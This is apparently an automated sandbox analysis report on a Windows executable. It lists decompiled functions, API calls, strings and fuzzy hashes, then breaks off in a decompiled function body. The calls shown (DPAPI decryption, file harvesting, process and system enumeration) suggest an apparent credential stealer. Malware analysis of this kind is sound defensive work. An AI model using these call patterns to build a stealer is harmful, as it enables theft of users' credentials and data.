Opcode Fuzzy Hash: 5d8be1970626b55599c142fab04c18c9449ae816304ef26842ad0c522bbeb63c
Instruction Fuzzy Hash: 19318BB5A002186BD710DB60DC49EEE737CEB44705F4046DDF619A2181EFB4AA8CCF59

Uniqueness

Uniqueness Score: -1.00%

Function 004294F0 Relevance: 23.4, APIs: 11, Strings: 2, Instructions: 666COMMON

Download Yara Rule

Strings

UT, xrefs: 00429836
/, xrefs: 004295BF

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID: /$UT
API String ID: 0-1626504983
Opcode ID: b0b7d14faec8320739cd2ec0dee2740adde32a6dbf7f12298ef7958ee1181977
Instruction ID: 697f16752251efcfed599f4499dbae1de0f42b8edec9d8b84dffab7aa50902b5
Opcode Fuzzy Hash: b0b7d14faec8320739cd2ec0dee2740adde32a6dbf7f12298ef7958ee1181977
Instruction Fuzzy Hash: F342C4B1B002698FCB24CF65E8807AEBBB1AF95304F5440FED949A7342D7385E85CB59

Uniqueness

Uniqueness Score: -1.00%

Function 004169A0 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 156fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 004169E4
FindFirstFileA.KERNEL32(?,?), ref: 004169FB
StrCmpCA.SHLWAPI(?,0044B964), ref: 00416A1C
StrCmpCA.SHLWAPI(?,0044B968), ref: 00416A36
wsprintfA.USER32 ref: 00416A5E
StrCmpCA.SHLWAPI(?,043F7EB0), ref: 00416A74
StrCmpCA.SHLWAPI(?,043F6860), ref: 00416AA8

Part of subcall function 00416290: _memset.LIBCMT ref: 004162C6
Part of subcall function 00416290: lstrcat.KERNEL32(?,0253C408), ref: 004162DC
Part of subcall function 00416290: lstrcat.KERNEL32(?,00000000), ref: 004162F7
Part of subcall function 00416290: CopyFileA.KERNEL32(?,?,00000001), ref: 00416307
Part of subcall function 00416290: _memset.LIBCMT ref: 0041631B
Part of subcall function 00416290: lstrcat.KERNEL32(?,0044B8A0), ref: 0041632F
Part of subcall function 00416290: lstrcat.KERNEL32(?,043720D8), ref: 00416343
Part of subcall function 00416290: lstrcat.KERNEL32(?,0044B8A4), ref: 00416355
Part of subcall function 00416290: lstrcat.KERNEL32(?,?), ref: 00416363
Part of subcall function 00416290: lstrcat.KERNEL32(?,0044B8A8), ref: 00416375
Part of subcall function 00416290: lstrcat.KERNEL32(?,?), ref: 00416383
Part of subcall function 00416290: lstrcat.KERNEL32(?,.txt), ref: 00416395
Part of subcall function 00416290: GetProcessHeap.KERNEL32(00000000,000F423F), ref: 004163E9
Part of subcall function 00416290: RtlAllocateHeap.NTDLL(00000000), ref: 004163F0

FindNextFileA.KERNELBASE(?,?), ref: 00416B80
FindClose.KERNEL32(?), ref: 00416B95

Strings

%s\*, xrefs: 004169D8
%s\%s, xrefs: 00416A58

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFind$Heap_memsetwsprintf$AllocateCloseCopyFirstNextProcess
String ID: %s\%s$%s\*
API String ID: 4070378155-2848263008
Opcode ID: c4797acbf93a64d0a25b20bebfb75fdaf4be07b93321879c56028dbbe209ee4d
Instruction ID: a6a2208366b5437ba535c2c2e26ff830ba7d6fd5dc1b1397ab0e12e939de32f6
Opcode Fuzzy Hash: c4797acbf93a64d0a25b20bebfb75fdaf4be07b93321879c56028dbbe209ee4d
Instruction Fuzzy Hash: D0517EB2904228ABCB25DF54DC84EEB777CEB48305F44459AF509A3151EA74EBC8CF64

Uniqueness

Uniqueness Score: -1.00%

Function 00424B20 Relevance: 22.6, APIs: 15, Instructions: 98libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(0253C270,00410EFE), ref: 00424B26
GetProcAddress.KERNEL32(00000000,0253C5D0), ref: 00424B48
GetProcAddress.KERNEL32(771A0000,0253C588), ref: 00424B5C
GetProcAddress.KERNEL32(771A0000,02534080), ref: 00424B85
GetProcAddress.KERNEL32(771A0000,0253C5E8), ref: 00424B9D
GetProcAddress.KERNEL32(771A0000,0253C600), ref: 00424BB6
GetProcAddress.KERNEL32(771A0000,025328C0), ref: 00424BCE
GetProcAddress.KERNEL32(771A0000,025329A0), ref: 00424BE6
GetProcAddress.KERNEL32(771A0000,0253C558), ref: 00424BFF
GetProcAddress.KERNEL32(771A0000,0253C5A0), ref: 00424C17
GetProcAddress.KERNEL32(771A0000,0253C540), ref: 00424C2F
GetProcAddress.KERNEL32(771A0000,0253C4E0), ref: 00424C48
GetProcAddress.KERNEL32(771A0000,025328A0), ref: 00424C60
LoadLibraryA.KERNEL32(0253C498), ref: 00424C73
GetProcAddress.KERNEL32(00000000,0253C2B8), ref: 00424C8A

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID:
API String ID: 2238633743-0
Opcode ID: ddee72b8c1f493476c485eb9515350522fdb256f3fd64a0dbef0f546f5e77750
Instruction ID: 178ff936aee892a624d66d2ee661d8039986079eae4b54e981439ff85688a5a7
Opcode Fuzzy Hash: ddee72b8c1f493476c485eb9515350522fdb256f3fd64a0dbef0f546f5e77750
Instruction Fuzzy Hash: 834183B5614604AFDB58DF64FD48C2677B9E7882053058B7EE905C3321FBB4A848CF2A

Uniqueness

Uniqueness Score: -1.00%

Function 0041F650 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 82memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000001F4,?,00000010,?), ref: 0041F66D
HeapAlloc.KERNEL32(00000000,?,00000010,?), ref: 0041F674
GetKeyboardLayoutList.USER32(00000000,00000000,?,00000010,?), ref: 0041F684
LocalAlloc.KERNEL32(00000040,00000000,?,00000010,?), ref: 0041F696
GetKeyboardLayoutList.USER32(00000000,00000000,?,00000010,?), ref: 0041F6A0
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200,?,00000010,?), ref: 0041F6D3
wsprintfA.USER32 ref: 0041F6F1
wsprintfA.USER32 ref: 0041F70F
_memset.LIBCMT ref: 0041F727
LocalFree.KERNEL32(00000000,?,00000010,?), ref: 0041F73D

Strings

%s / %s, xrefs: 0041F6EB

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: AllocHeapKeyboardLayoutListLocalwsprintf$FreeInfoLocaleProcess_memset
String ID: %s / %s
API String ID: 2849719339-2910687431
Opcode ID: f5b260e78cf02abc69d307c732b82527b8d539d255cc3c0d0de1002e4e24684c
Instruction ID: 37537ee85682190d43acfeb728d4ea6f4426a9b56db1b67863cd4e0862d69eb9
Opcode Fuzzy Hash: f5b260e78cf02abc69d307c732b82527b8d539d255cc3c0d0de1002e4e24684c
Instruction Fuzzy Hash: 1421F9B1600314ABE7209F60DC8DFAB777CEB44704F4041B6F619D2151EEB49D498F6A

Uniqueness

Uniqueness Score: -1.00%

Function 0041F820 Relevance: 15.1, APIs: 10, Instructions: 91stringprocessCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0041F860
Process32First.KERNEL32(00000000,00000128), ref: 0041F870
Process32Next.KERNEL32(00000000,00000128), ref: 0041F886
lstrcat.KERNEL32(0040DC63,0044C7A4), ref: 0041F89A
lstrcat.KERNEL32(0040DC63,?), ref: 0041F8A8
lstrcat.KERNEL32(0040DC63,0044C7A8), ref: 0041F8B4

Part of subcall function 00424450: std::ios_base::_Ios_base_dtor.LIBCPMT ref: 004245BC

lstrcat.KERNEL32(0040DC63,00000000), ref: 0041F8DD
lstrcat.KERNEL32(0040DC63,0044C7AC), ref: 0041F90F
Process32Next.KERNEL32(00000000,00000128), ref: 0041F91D
CloseHandle.KERNEL32(00000000), ref: 0041F92C

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Process32$Next$CloseCreateFirstHandleIos_base_dtorSnapshotToolhelp32std::ios_base::_
String ID:
API String ID: 968569211-0
Opcode ID: a39473b9ef28eef0db67c99d8f5f2038e944d907f7a31769bafc9f823736dbd8
Instruction ID: d4a9bbcafb8c1c8f36e4fbebe8b5c4c3ef14727357bd2b19646e576708cdcb4e
Opcode Fuzzy Hash: a39473b9ef28eef0db67c99d8f5f2038e944d907f7a31769bafc9f823736dbd8
Instruction Fuzzy Hash: 5A31C271900209EFDB009F64DC88EEF7B78EF49755F0041BAE415A2250DB785A488FA9

Uniqueness

Uniqueness Score: -1.00%

Function 00417FA0 Relevance: 12.1, APIs: 8, Instructions: 89processCOMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00417FD5

Part of subcall function 0042AC99: __FF_MSGBANNER.LIBCMT ref: 0042ACB2
Part of subcall function 0042AC99: __NMSG_WRITE.LIBCMT ref: 0042ACB9
Part of subcall function 0042AC99: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,?,?,0042B7A0,?), ref: 0042ACDE

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00417FED
CloseHandle.KERNEL32(00000000), ref: 00418000
Process32First.KERNEL32(00000000,00000128), ref: 00418021
Process32Next.KERNEL32(00000000,00000128), ref: 00418033
StrCmpCA.SHLWAPI(?,?), ref: 0041804E
Process32Next.KERNEL32(00000000,00000128), ref: 0041808C
CloseHandle.KERNEL32(00000000), ref: 00418097

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseHandleNext$AllocateCreateFirstHeapSnapshotToolhelp32_malloc
String ID:
API String ID: 3797447157-0
Opcode ID: a5a03ec0842d574816ba8b3d5905d4a4fcbc9eccad4caf4d6b7237c7575e6fca
Instruction ID: 6b5769967d7976e70d04dfeb84044347d97a3d603f945f77090117a8d82df5d3
Opcode Fuzzy Hash: a5a03ec0842d574816ba8b3d5905d4a4fcbc9eccad4caf4d6b7237c7575e6fca
Instruction Fuzzy Hash: B6319FB1A002189FD720DF65DC84BEA7BB8EB08314F0041EAE909D7241EBB59E44CF55

Uniqueness

Uniqueness Score: -1.00%

Function 0041F6B8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,00000002,?,00000200,?,00000010,?), ref: 0041F6D3
wsprintfA.USER32 ref: 0041F6F1
wsprintfA.USER32 ref: 0041F70F
_memset.LIBCMT ref: 0041F727
LocalFree.KERNEL32(00000000,?,00000010,?), ref: 0041F73D

Strings

%s / %s, xrefs: 0041F6EB

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: wsprintf$FreeInfoLocalLocale_memset
String ID: %s / %s
API String ID: 3205847202-2910687431
Opcode ID: 71571b357ed55b0850b60019e61cc50435dd652a5b75920f017ae5a0cb5ac075
Instruction ID: 4764794a7f3d0f19dfc8dfa223440dbf78958cdb614e4dca322fb64e73ac7997
Opcode Fuzzy Hash: 71571b357ed55b0850b60019e61cc50435dd652a5b75920f017ae5a0cb5ac075
Instruction Fuzzy Hash: 2501DB756003145BDB20DB54DCC9FEA7378EB45305F0041E6FA59A3182EB745E898E56

Uniqueness

Uniqueness Score: -1.00%

Function 00408740 Relevance: 7.8, APIs: 1, Strings: 3, Instructions: 811COMMON

Download Yara Rule

Strings

invalid bit length repeat, xrefs: 00408FDE
invalid stored block lengths, xrefs: 00408EC8
too many length or distance symbols, xrefs: 00408F4A

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID: invalid bit length repeat$invalid stored block lengths$too many length or distance symbols
API String ID: 0-949635641
Opcode ID: 3fa08cd3f55310e50335723421029000a7da3f5e7cc3e6f884e50b89ea05f950
Instruction ID: adbd40af2bdae8a205e65470ca7eace2884517eb740c30e4b946dbcf9c66fdbf
Opcode Fuzzy Hash: 3fa08cd3f55310e50335723421029000a7da3f5e7cc3e6f884e50b89ea05f950
Instruction Fuzzy Hash: 3F623BB5A00605DFCB14CF69C580AAAB7F1FF88310F20C56EE89A9B785E774A941CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0040AA30 Relevance: 7.6, APIs: 5, Instructions: 64encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(?,?,40000001,00000000,?), ref: 0040AA51

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 719a1b8120faf9e21b80ad25670b8813887aaddb2974342633c65e1e7eac0dd8
Instruction ID: 6dd5de34140414dc2e7ee71c846681893ce89e194ef92535592c776a0b263e13
Opcode Fuzzy Hash: 719a1b8120faf9e21b80ad25670b8813887aaddb2974342633c65e1e7eac0dd8
Instruction Fuzzy Hash: AE018072340215BBEF109FA5FC89FAB37ACEFC6724F00006AFA0897240D6759C559A66

Uniqueness

Uniqueness Score: -1.00%

Function 00420970 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 75timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32 ref: 004209C0
GetTimeZoneInformation.KERNEL32(00000010), ref: 004209CD
TzSpecificLocalTimeToSystemTime.KERNEL32(00000010,?,?), ref: 004209F5

Part of subcall function 004245F0: std::ios_base::_Ios_base_dtor.LIBCPMT ref: 004246C9

Strings

UTC, xrefs: 00420A29

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: Time$System$InformationIos_base_dtorLocalSpecificZonestd::ios_base::_
String ID: UTC
API String ID: 2730280976-2754919731
Opcode ID: 6e0f83fd2bf1981f70a7028994a182839967940126e4a6677c34cf7f6d988daf
Instruction ID: 4413020955935d10b1ac175043ac816bfbe46a74e19a825a5ccfa2adb20987be
Opcode Fuzzy Hash: 6e0f83fd2bf1981f70a7028994a182839967940126e4a6677c34cf7f6d988daf
Instruction Fuzzy Hash: 58312BB1D14219DFDB14DFA4E845BEEBBB8FF08300F40456AE41AA3640EB745658CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0041F770 Relevance: 6.1, APIs: 4, Instructions: 70commemoryCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(0044D5D0,00000000,00000001,0044C94C,?,00000000,00000010,?), ref: 0041F78D
SysAllocString.OLEAUT32(?), ref: 0041F79C
SysFreeString.OLEAUT32(00000000), ref: 0041F7FB

Part of subcall function 0042D2B1: __wcstoi64.LIBCMT ref: 0042D2BD

SysFreeString.OLEAUT32(?), ref: 0041F7F8

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: String$Free$AllocCreateInstance__wcstoi64
String ID:
API String ID: 3478848241-0
Opcode ID: 2e370039f14d000f2e88ea71dd3bf674caee4a44b231963c01a31588cb1d33d8
Instruction ID: dd6346ec07fd4d8be0172bc6eb1f304e9f16922b78d107abc43a17be9847efe4
Opcode Fuzzy Hash: 2e370039f14d000f2e88ea71dd3bf674caee4a44b231963c01a31588cb1d33d8
Instruction Fuzzy Hash: 7A115179700218AFD700DFA9CC84D9BBBB9EFC9704B1481AAE905D7350DA35EE46CB64

Uniqueness

Uniqueness Score: -1.00%

Function 004158A0 Relevance: 6.0, APIs: 4, Instructions: 49memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(0043F603,00000000,00000000,00000000,00000000,00000000,?), ref: 004158C5
LocalAlloc.KERNEL32(00000040,?,00000010,?,-00000010,-0000000F,?,?,1A5A77C2,00000000,00000000,?,0043F608,000000FF,?,0040BC24), ref: 004158DD
_memmove.LIBCMT ref: 004158F4
LocalFree.KERNEL32(?,?,-00000010,-0000000F,?,?,1A5A77C2,00000000,00000000,?,0043F608,000000FF,?,0040BC24,?,?), ref: 00415901

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect_memmove
String ID:
API String ID: 3008826695-0
Opcode ID: 4c685eb53d9587babae4376cf7c6d6dd2c033aa11bfb33dca7b7281fe45e222b
Instruction ID: 09581c028520e9b7ac67a474ba0cae2bc250a8d5f856b21fd5e04d8063c1c141
Opcode Fuzzy Hash: 4c685eb53d9587babae4376cf7c6d6dd2c033aa11bfb33dca7b7281fe45e222b
Instruction Fuzzy Hash: 30015275A00305BBD710DF98DC45FEF7779EB88700F104559FA149B384EAB4E9108B95

Uniqueness

Uniqueness Score: -1.00%

Function 00424960 Relevance: 4.6, APIs: 3, Instructions: 142fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004241B0: MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,?,?,?,?,0040BB98,?,?,?), ref: 004241DE
Part of subcall function 004241B0: MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000), ref: 00424214

FindFirstFileW.KERNELBASE(00000000,?,?,?,1A5A77C2,?,00000001,00000000), ref: 004249C4
FindNextFileW.KERNEL32(?,?,?,?,?), ref: 00424A67
FindNextFileW.KERNEL32(?,?,?,?,?), ref: 00424AE1

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: FileFind$ByteCharMultiNextWide$First
String ID:
API String ID: 1501163664-0
Opcode ID: c1b2f450b28a6a527bfbe77aa75cf791bc9608a7b7166403f21511c82de70a1f
Instruction ID: f4d4b802311202b19fbf056942ead561b098bb1ccecc15546357b176092b7184
Opcode Fuzzy Hash: c1b2f450b28a6a527bfbe77aa75cf791bc9608a7b7166403f21511c82de70a1f
Instruction Fuzzy Hash: 9751A3B1E10219DBCB10DFA9D885ADFB7B9EF49300F54816FE409A7240DB34AA44CF55

Uniqueness

Uniqueness Score: -1.00%

Function 004087BE Relevance: 2.0, APIs: 1, Instructions: 453COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004089D7

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: cc910d735186b84ae9a8b9fbf27059958634270fda8649ca3644695382cd8f0a
Instruction ID: e791827910e09a6157b7d5416b1380098545730b6d2ecb67f89f0c762cfb8239
Opcode Fuzzy Hash: cc910d735186b84ae9a8b9fbf27059958634270fda8649ca3644695382cd8f0a
Instruction Fuzzy Hash: DB026CB1A006059FDB18CF25C9906AAB7F2FF98304F14C96ED49A9B785DB78E940CF44

Uniqueness

Uniqueness Score: -1.00%

Function 0041F5B0 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

GetUserNameA.ADVAPI32(?,?), ref: 0041F5DB

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 72b3e820f65cf5654c5fe397cb2c2a2f94153796fcfbecc7e7aae28ff1c45742
Instruction ID: 234398c590e361efafc1bb3ba040ad75bbf0ecec33bff7155036af4c032d1aad
Opcode Fuzzy Hash: 72b3e820f65cf5654c5fe397cb2c2a2f94153796fcfbecc7e7aae28ff1c45742
Instruction Fuzzy Hash: FAE04F71A0421C9BCB14DF95EC559E9B3B8EB19304F4042EAD88A93240EEB46BC88FC5

Uniqueness

Uniqueness Score: -1.00%

Function 00401070 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 0040107A

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 6188010e867402bba4847fa75ee9f54a47eaf28d24627c28f7e3e1c57dd6b4ee
Instruction ID: 7048e6aad228a5c53799160dd736342fcb462dd58ef732f80b30192a6272afbd
Opcode Fuzzy Hash: 6188010e867402bba4847fa75ee9f54a47eaf28d24627c28f7e3e1c57dd6b4ee
Instruction Fuzzy Hash: 5BC01232D4420C8B8B10EAA8A90A8AAB7ECA60910AB4006B1D819D2410E772AA988691

Uniqueness

Uniqueness Score: -1.00%

Function 00424CB0 Relevance: 227.4, APIs: 151, Instructions: 911
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00424CB0() {
				struct HINSTANCE__* _t1;
				struct HINSTANCE__* _t2;
				struct HINSTANCE__* _t3;
				CHAR* _t4;
				struct HINSTANCE__* _t5;
				struct HINSTANCE__* _t6;
				CHAR* _t8;
				struct HINSTANCE__* _t9;
				struct HINSTANCE__* _t10;
				struct HINSTANCE__* _t11;
				CHAR* _t12;
				struct HINSTANCE__* _t13;
				struct HINSTANCE__* _t14;
				struct HINSTANCE__* _t15;
				struct HINSTANCE__* _t16;
				struct HINSTANCE__* _t17;
				struct HINSTANCE__* _t18;
				struct HINSTANCE__* _t19;
				struct HINSTANCE__* _t20;
				struct HINSTANCE__* _t21;
				struct HINSTANCE__* _t22;
				struct HINSTANCE__* _t23;
				struct HINSTANCE__* _t24;
				struct HINSTANCE__* _t25;
				struct HINSTANCE__* _t26;
				struct HINSTANCE__* _t27;
				_Unknown_base(*)()* _t28;
				CHAR* _t29;
				_Unknown_base(*)()* _t30;
				struct HINSTANCE__* _t31;
				_Unknown_base(*)()* _t32;
				_Unknown_base(*)()* _t33;
				CHAR* _t34;
				_Unknown_base(*)()* _t35;
				struct HINSTANCE__* _t36;
				_Unknown_base(*)()* _t37;
				_Unknown_base(*)()* _t38;
				CHAR* _t39;
				_Unknown_base(*)()* _t40;
				_Unknown_base(*)()* _t42;
				struct HINSTANCE__* _t43;
				_Unknown_base(*)()* _t44;
				_Unknown_base(*)()* _t45;
				CHAR* _t46;
				_Unknown_base(*)()* _t47;
				struct HINSTANCE__* _t48;
				_Unknown_base(*)()* _t49;
				_Unknown_base(*)()* _t51;
				struct HINSTANCE__* _t52;
				_Unknown_base(*)()* _t53;
				_Unknown_base(*)()* _t55;
				struct HINSTANCE__* _t56;
				_Unknown_base(*)()* _t57;
				_Unknown_base(*)()* _t59;
				struct HINSTANCE__* _t60;
				_Unknown_base(*)()* _t61;
				_Unknown_base(*)()* _t62;
				CHAR* _t63;
				_Unknown_base(*)()* _t64;
				struct HINSTANCE__* _t65;
				_Unknown_base(*)()* _t66;
				_Unknown_base(*)()* _t67;
				CHAR* _t68;
				_Unknown_base(*)()* _t69;
				struct HINSTANCE__* _t70;
				_Unknown_base(*)()* _t71;
				_Unknown_base(*)()* _t72;
				CHAR* _t73;
				_Unknown_base(*)()* _t74;
				struct HINSTANCE__* _t75;
				_Unknown_base(*)()* _t77;
				struct HINSTANCE__* _t78;
				_Unknown_base(*)()* _t79;
				_Unknown_base(*)()* _t80;
				CHAR* _t81;
				_Unknown_base(*)()* _t82;
				struct HINSTANCE__* _t83;
				_Unknown_base(*)()* _t85;
				CHAR* _t86;
				_Unknown_base(*)()* _t87;
				struct HINSTANCE__* _t88;
				_Unknown_base(*)()* _t89;
				_Unknown_base(*)()* _t90;
				CHAR* _t91;
				_Unknown_base(*)()* _t92;
				struct HINSTANCE__* _t93;
				_Unknown_base(*)()* _t94;
				_Unknown_base(*)()* _t96;
				struct HINSTANCE__* _t97;
				_Unknown_base(*)()* _t98;
				_Unknown_base(*)()* _t99;
				CHAR* _t100;
				_Unknown_base(*)()* _t101;
				struct HINSTANCE__* _t102;
				_Unknown_base(*)()* _t103;
				_Unknown_base(*)()* _t104;
				CHAR* _t105;
				_Unknown_base(*)()* _t106;
				struct HINSTANCE__* _t107;
				_Unknown_base(*)()* _t108;
				_Unknown_base(*)()* _t109;
				CHAR* _t110;
				_Unknown_base(*)()* _t111;
				struct HINSTANCE__* _t112;
				_Unknown_base(*)()* _t113;
				_Unknown_base(*)()* _t114;
				CHAR* _t115;
				_Unknown_base(*)()* _t117;
				struct HINSTANCE__* _t118;
				_Unknown_base(*)()* _t119;
				_Unknown_base(*)()* _t120;
				CHAR* _t121;
				_Unknown_base(*)()* _t122;
				struct HINSTANCE__* _t123;
				_Unknown_base(*)()* _t124;
